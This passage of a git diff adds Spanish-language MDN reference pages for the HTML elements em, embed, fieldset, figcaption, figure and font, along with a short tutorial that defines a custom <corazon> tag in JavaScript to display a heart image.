+   <td>Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>Any</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLElement")}} Up to Gecko 1.9.2 (Firefox 4) inclusive, Firefox implements the {{domxref("HTMLSpanElement")}} interface for this element.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Atributos" name="Atributos">Atributos</h3>
+
+<p>Este elemento solo incluye los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a>.</p>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval"> &lt;p&gt;
+     &lt;em&gt;El dinero&lt;/em&gt; es importante pero &lt;strong&gt;la salud&lt;/strong&gt; lo es más.
+ &lt;/p&gt;
+</pre>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
+
+<p><a href="es/HTML/Elemento/em">em</a> tiene un hermano mayor: <a href="es/HTML/Elemento/strong">strong</a>. <a href="es/HTML/Elemento/em">em</a> sirve para dar énfasis y <a href="es/HTML/Elemento/strong">strong</a> para dar mucho énfasis</p>
diff --git a/files/es/web/html/elemento/embed/index.html b/files/es/web/html/elemento/embed/index.html
new file mode 100644
index 0000000000..d489014613
--- /dev/null
+++ b/files/es/web/html/elemento/embed/index.html
@@ -0,0 +1,69 @@
+---
+title: embed
+slug: Web/HTML/Elemento/embed
+tags:
+  - HTML
+  - HTML5
+  - 'HTML:Elemento'
+  - para_revisar
+translation_of: Web/HTML/Element/embed
+---
+<div class="note"><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-from-human goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">Nota: este tema documenta sólo el elemento &lt;embed&gt; que se define como parte de HTML5.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">No trata las implementaciones anteriores no estandarizadas del elemento <code>&lt;embed&gt;</code>.</span></span></div>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El <em>Elemento HTML Embed </em> ( <code>&lt;embed&gt;</code> ) representa un punto de integración para una aplicación externa o de contenido interactivo (en otras palabras, un plug-in).</span></span></p>
+
+<h2 id="Contexto_de_uso"><span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Contexto de uso</span></span></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Contenido permitido</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Ninguno; es un elemento vacío.</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Omisión de etiquetas</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Debe tener una etiqueta de inicio, pero no debe tener una etiqueta de cierre.</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Elementos primarios permitidos</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-from-human goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">Cualquier elemento que acepte <a href="/en/HTML/Content_categories#phrasing_content" title="../../../../en/HTML/Content categories#phrasing content">contenido estático</a> .</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-13"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Documento normativo</span></span></td>
+   <td><a class="external" href="http://www.w3.org/TR/html5/the-iframe-element.html#the-embed-element" title="http://www.w3.org/TR/html5/the-iframe-element.html#the-embed-element"><span class="goog-gtc-unit" id="goog-gtc-unit-14"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">HTML 5, sección 4.8.3</span></span></a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos"><span class="goog-gtc-unit" id="goog-gtc-unit-15"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Atributos</span></span></h2>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-16"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Este elemento admite los siguientes atributos además de los <a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">atributos globales</a> .</span></span></p>
+
+<dl>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-17"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">{{ htmlattrdef("height") }}</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-18"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">La altura del recurso mostrada en píxeles CSS.</span></span></dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">{{ htmlattrdef("src") }}</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-20"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">La dirección URL del recurso que se está incrustado.</span></span></dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-21"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">{{ htmlattrdef("type") }}</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El tipo MIME que se va a usar para la selección del plug-in para crear una instancia.</span></span></dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-23"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">{{ htmlattrdef("width") }}</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-24"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El ancho del recurso mostrado en píxeles CSS.</span></span></dd>
+</dl>
+
+<h2 id="Interfaz_DOM"><span class="goog-gtc-unit" id="goog-gtc-unit-25"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Interfaz DOM</span></span></h2>
+
+<ul>
+ <li><a href="/en/DOM/HTMLEmbedElement" title="en/DOM/HTMLEmbedElement"><span class="goog-gtc-unit" id="goog-gtc-unit-26"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">HTMLEmbedElement</span></span></a></li>
+</ul>
+
+<h2 id="Consulta_también"><span class="goog-gtc-unit" id="goog-gtc-unit-27"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-99 goog-gtc-translatable" dir="ltr">Consulta también</span></span></h2>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-28"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Otros elementos que se utilizan para incrustar el contenido de varios tipos incluyen {{ HTMLElement("audio") }}, {{ HTMLElement("canvas") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("math") }}, {{ HTMLElement("object") }}, {{ HTMLElement("svg") }} y  {{ HTMLElement("video") }}. </span></span></p>
+
+<p> </p>
+
+<p> </p>
+
+<p>{{ languages ( { "en": "en/HTML/Element/embed" } ) }}</p>
+
+<p> </p>
diff --git a/files/es/web/html/elemento/etiqueta_personalizada_html5/index.html b/files/es/web/html/elemento/etiqueta_personalizada_html5/index.html
new file mode 100644
index 0000000000..e18dd89f0d
--- /dev/null
+++ b/files/es/web/html/elemento/etiqueta_personalizada_html5/index.html
@@ -0,0 +1,46 @@
+---
+title: Etiqueta Personalizada HTML5
+slug: Web/HTML/Elemento/Etiqueta_Personalizada_HTML5
+---
+<p>Una etiqueta personalizada sencilla, es crear una plantilla de elementos.</p>
+
+<p>Un sencillo ejemplo donde con poner la etiqueta &lt;corazon&gt; nos muetra un corazon en el documento:</p>
+
+<h2 id="corazon.js" name="corazon.js">corazon.js</h2>
+
+<h3 id="Contenido_JavaScript">Contenido JavaScript</h3>
+
+<pre class="brush: js">function ini(){
+document.createElement('corazon');//creamos el elemento corazon
+var corazon = document.getElementsByTagName('corazon');//llamamos todos los elemento corazon del documento
+  var i;
+  for (i = 0; i &lt; corazon.length; i++) {//ejecuta acciones para esos elementos
+//creamos estilos para nuetras etiquetas
+    corazon[i].style.backgroundImage= "url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAACaElEQVR4nO2by7WCMBCGKYECyJgSLIESLCEnwT0l0IElWIIlWIIlsAxhkxLuXZh45YrKI+QF/zmznvn+TAYYj0myadOmTSMkMUl5VuQN0JIDrVooTmLHLhxoxRElPCtyjgk2nZdjgnlW5BxRcs/Lzi2wMwdaNUBLnhW56ZzdArIib4GdBTApgP0MiBtHlMzJKTFJBWIHAew2MOdPC+wsEDsYwlbgiF2HFtBfVHEaC95CcRphdu8BtPi4nwz+VMRk8H9RDymoxcf9mBMf0hGT4MWOXQzCP6IBWr7L2wAtZ576226QmKSD4DkmWACrl4D/dCocaLVkTgFMfh3OEpN07n0fHE+DiiNKrOQEVn80QE15G4XcOwEf9+rOL9H2/TkRu/bCq8eNNXgVUhgceEPj5fEsMUldFOIwZMcANX1dF2W3C4BWf3ff1uDzK+5doIaQ62LcdAEmeJXtr6MBWiZLvfEFETt2Wev911EnYuHXXs9DJsLiW5iPsfYOqNc+A27WP4B8ihaxa2J46xNUtFCc9IeQ82JcxGOTLNY5CG9Pi5D1XYPO16C6BmvqAvmyJLW4l3MendPvrMXWsRV6vyJXVyHmV2P59ccZ9btAjCZ8h388FeLbEsnRP5hGZMJ4+IhMmA4fgQnz4QM2wRx8gCaYhw/IhOXgAzBheXiPTbAH76EJ9uE9MsEdvAcmuIfXcmCCP/BaFk3wD17Lggn+wmstaIL/8FoLmBAOvJZBE8KD1zJgQrjwWjNMCB9ea4IJ8cBrjTAhPnitASbEC6/1wYT44bV6TFgPvBbHBHOgFQdazfpz06ZNmzbN0C97EM/d8hW+4gAAAABJRU5ErkJggg==')";
+    corazon[i].style.position="relative";
+    corazon[i].style.display="block";
+    corazon[i].style.width="64px";
+    corazon[i].style.height="64px";
+  }
+}
+window.addEventListener('load',ini,false);//ejecuta la funcion ini al cargar el documento</pre>
+
+<p>Ahora solo llamamos a nuestro archivo corazon.js desde nuetro html y podremos usar libremente nuetra etiqueta &lt;corazon&gt; con la cual nos mostrara un corazon.</p>
+
+<h2 id="index.html" name="index.html">index.html</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<p>&lt;!DOCTYPE html&gt;<br>
+ &lt;html&gt;<br>
+   &lt;head&gt;<br>
+     &lt;meta charset="utf-8"&gt;<br>
+     &lt;title&gt;Mi Etiqueta&lt;/title&gt;<br>
+     &lt;script src="corazon.js"  type="text/javascript"&gt;&lt;/script&gt;<br>
+   &lt;/head&gt;<br>
+   &lt;body&gt;<br>
+     &lt;corazon&gt;&lt;/corazon&gt;<br>
+   &lt;/body&gt;<br>
+ &lt;/html&gt;</p>
+
+<p> </p>
diff --git a/files/es/web/html/elemento/fieldset/index.html b/files/es/web/html/elemento/fieldset/index.html
new file mode 100644
index 0000000000..bb29878206
--- /dev/null
+++ b/files/es/web/html/elemento/fieldset/index.html
@@ -0,0 +1,124 @@
+---
+title: fieldset
+slug: Web/HTML/Elemento/fieldset
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/fieldset
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>El elemento <a href="/es/HTML/Elemento/fieldset" title="es/HTML/Elemento/fieldset">fieldset</a> (grupo de campos) permite organizar en grupos los campos de un formulario.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;fieldset&gt; y &lt;/fieldset&gt; (ambas obligatorias).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="/es/HTML/Elemento/Tipos_de_elementos#en_bloque" title="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="/es/HTML/Elemento/Tipos_de_elementos#en_bloque" title="es/HTML/Elemento/Tipos_de_elementos#en_bloque">Elemento en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: un elemento <a href="/es/HTML/Elemento/legend" title="es/HTML/Elemento/legend">legend</a> (opcional), y despues cero o más elementos <a href="/es/HTML/Elemento/Tipos_de_elementos#en_bloque" title="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a> o <a href="/es/HTML/Elemento/Tipos_de_elementos#en_linea" title="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title</code></td>
+   <td>texto</td>
+   <td>implícito</td>
+   <td>título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style</code></td>
+   <td>reglas de estilo</td>
+   <td>implícito</td>
+   <td>información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id</code></td>
+   <td>ID</td>
+   <td>implícito</td>
+   <td>identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class</code></td>
+   <td>lista de clases separadas por espacios</td>
+   <td>implícito</td>
+   <td>identificador a nivel de documento</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir</code></td>
+   <td>uno de los siguientes:"ltr" o "rtl"</td>
+   <td>implícito</td>
+   <td>dirección del texto débil/neutral</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang</code></td>
+   <td>código de idioma</td>
+   <td>implícito</td>
+   <td>información sobre el idioma</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">de transición</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p>El siguiente código:</p>
+
+<pre>&lt;form&gt;
+
+ &lt;fieldset&gt;
+  &lt;legend&gt;Información Personal&lt;/legend&gt;
+  Nombre: &lt;input name='nombre' type='text' tabindex='1'&gt;
+  Apellidos: &lt;input name='apellidos' type='text' tabindex='2'&gt;
+ &lt;/fieldset&gt;
+
+ &lt;fieldset&gt;
+  &lt;legend&gt;edad&lt;/legend&gt;
+  &lt;input type='checkbox' tabindex='20'
+            name='edad' value='20-39' &gt; 20-39
+  &lt;input type='checkbox' tabindex='21'
+            name='edad' value='40-59' &gt; 40-59
+  &lt;input type='checkbox' tabindex='22'
+            name='edad' value='60-79' &gt; 60-79
+ &lt;/fieldset&gt;
+
+&lt;/form&gt;
+</pre>
diff --git a/files/es/web/html/elemento/figcaption/index.html b/files/es/web/html/elemento/figcaption/index.html
new file mode 100644
index 0000000000..b212c17632
--- /dev/null
+++ b/files/es/web/html/elemento/figcaption/index.html
@@ -0,0 +1,90 @@
+---
+title: <figcaption>
+slug: Web/HTML/Elemento/figcaption
+tags:
+  - Elemento
+  - Elementos de agrupación de contenido en HTML
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Element/figcaption
+---
+<p>{{HTMLRef}}</p>
+
+<p>El elemento <strong>HTML <code>&lt;figcaption&gt;</code>  </strong>representa un subtítulo o leyenda asociado al contenido del elemento padre {{HTMLElement("figure")}}, pudiendo ser colocado como primer o último hijo. Es importante destacar que el elemento <strong><code>&lt;figcaption&gt;</code></strong> es opcional.</p>
+
+<p>{{EmbedInteractiveExample("pages/tabbed/figcaption.html","tabbed-shorter")}}</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></th>
+   <td>Ninguna</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido Permitido</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiqueta</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos</th>
+   <td>En un  elemento {{HTMLElement("figure")}} el elemento <code>&lt;figcaption&gt;</code> debe ser el primero o el último hijo.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Contento en el que puede ser usado</th>
+   <td>Como the first o last child de un <strong>&lt;figure&gt;</strong> element</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p><span style="line-height: 21px;">Este elemento sólo incluye los </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">global attributes</a><span style="line-height: 21px;">.</span></p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Para ejemplos con <code>&lt;figcaption&gt;</code>, por favor ver la página {{HTMLElement("figure")}}.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-figcaption-element', '&lt;figcaption&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-figcaption-element', '&lt;figcaption&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.elements.figcaption")}}</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>El elemento {{HTMLElement("figure")}}.</li>
+</ul>
diff --git a/files/es/web/html/elemento/figure/index.html b/files/es/web/html/elemento/figure/index.html
new file mode 100644
index 0000000000..1ad3d12a07
--- /dev/null
+++ b/files/es/web/html/elemento/figure/index.html
@@ -0,0 +1,60 @@
+---
+title: figure
+slug: Web/HTML/Elemento/figure
+tags:
+  - HTML
+  - HTML5
+  - 'HTML:Elemento'
+  - figure
+  - para_revisar
+translation_of: Web/HTML/Element/figure
+---
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-2"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El <em> elemento HTML</em> <span style="font-family: Courier New;">&lt;figure&gt;</span> representa contenido independiente, a menudo con un título.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Si bien se relaciona con el flujo principal, su posición es independiente de éste.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Por lo general, se trata de una imagen, una ilustración, un diagrama, un fragmento de código, o un esquema al que se hace referencia en el texto principal, pero que se puede mover a otra página o a un apéndice sin que afecte al flujo principal.</span></span></p>
+
+<div class="note">
+<p><em><span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Notas de uso:</span></span> </em></p>
+
+<ul>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Al ser una <a href="/es/Secciones_y_esquema_de_un_documento_HTML_5#Seccionador_ra.c3.adz" title="https://developer.mozilla.org/es/Secciones_y_esquema_de_un_documento_HTML_5#Seccionador_ra.c3.adz">seccionador raíz</a>, el esbozo del contenido del elemento <span style="font-family: Courier New;">&lt;figure&gt;</span> está excluido del esbozo principal del documento.</span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Un título puede estar asociado con el elemento <span style="font-family: Courier New;">&lt;figure&gt;</span> mediante la inserción de un {{ HTMLElement ("figcaption") }} en su interior (como el primero o el último hijo).</span></span></li>
+</ul>
+</div>
+
+<h3 id="Contexto_de_uso"><span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Contexto de uso</span></span></h3>
+
+<table class="standard-table" style="height: 117px; width: 1125px;">
+ <tbody>
+  <tr>
+   <th><span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Tipo</span></span></th>
+   <th><a><span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Seccionador raíz</span></span></a></th>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Contenido permitido</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Un elemento {{ HTMLElement ("figcaption") }}, seguido por <a href="/en/HTML/Content_categories#flow_content" title="en/HTML/Content categories#flow content"> contenido dinámico</a> , o contenido dinámico seguido por un elemento{{ HTMLElement ("figcaption") }}.</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-13"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Omisión de etiquetas</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-14"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">Ninguna, tanto la etiqueta inicial como la etiqueta de cierre son obligatorias</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-15"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Elementos primarios permitidos</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-16"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Cualquier elemento que acepte elementos dinámicos.</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-17"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Documento normativo</span></span></td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level-semantics.html#the-mark-element" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level-semantics.html#the-mark-element"><span class="goog-gtc-unit" id="goog-gtc-unit-18"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">HTML 5, sección 4.5.11</span></span></a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Atributos"><span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Atributos</span></span></h3>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-20"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">Este elemento no tiene atributos que no sean los <a href="/en/HTML/Global_attributes" title="../../../../en/HTML/global attributes">atributos globales</a>, comunes a todos los elementos.</span></span></p>
+
+<h3 class="editable" id="Interfaz_DOM"><span class="goog-gtc-unit" id="goog-gtc-unit-21"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Interfaz DOM</span></span></h3>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">Este elemento implementa la interfaz </span></span><code><a href="/en/DOM/element" title="en/DOM/element">HTMLElement</a></code><span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">.</span></span></p>
+
+<h3 id="Consulta_también"><span class="goog-gtc-unit" id="goog-gtc-unit-23"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Consulta también</span></span></h3>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-24"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El elemento {{ HTMLElement ("figcaption") }}.</span></span></p>
diff --git a/files/es/web/html/elemento/font/index.html b/files/es/web/html/elemento/font/index.html
new file mode 100644
index 0000000000..e1020b3d95
--- /dev/null
+++ b/files/es/web/html/elemento/font/index.html
@@ -0,0 +1,152 @@
+---
+title: font
+slug: Web/HTML/Elemento/font
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/font
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>font</strong> -<em>fuente</em> . Indica el tamaño, color, o fuente del texto que contiene.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;font&gt; y &lt;/font&gt; (ambas obligatorias).</dd>
+ <dd><strong>Está definido como</strong>: Elemento <a href="es/HTML/Elemento/Tipos_de_elementos#desaprobado">desaprobado</a>.
+ <dl>
+  <dd>En un doctype transicional está definido como un elemento <a href="es/HTML/Elemento/Tipos_de_elementos#especial">especial</a> y por lo tanto <a href="es/HTML/Elemento/Tipos_de_elementos#enlinea">en línea</a>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: En línea.</dd>
+ <dd><strong>Puede contener</strong>: Texto, y/o cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#enlinea">en línea </a>.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+  <tr>
+   <th colspan="3">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td>Texto legible por personas. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
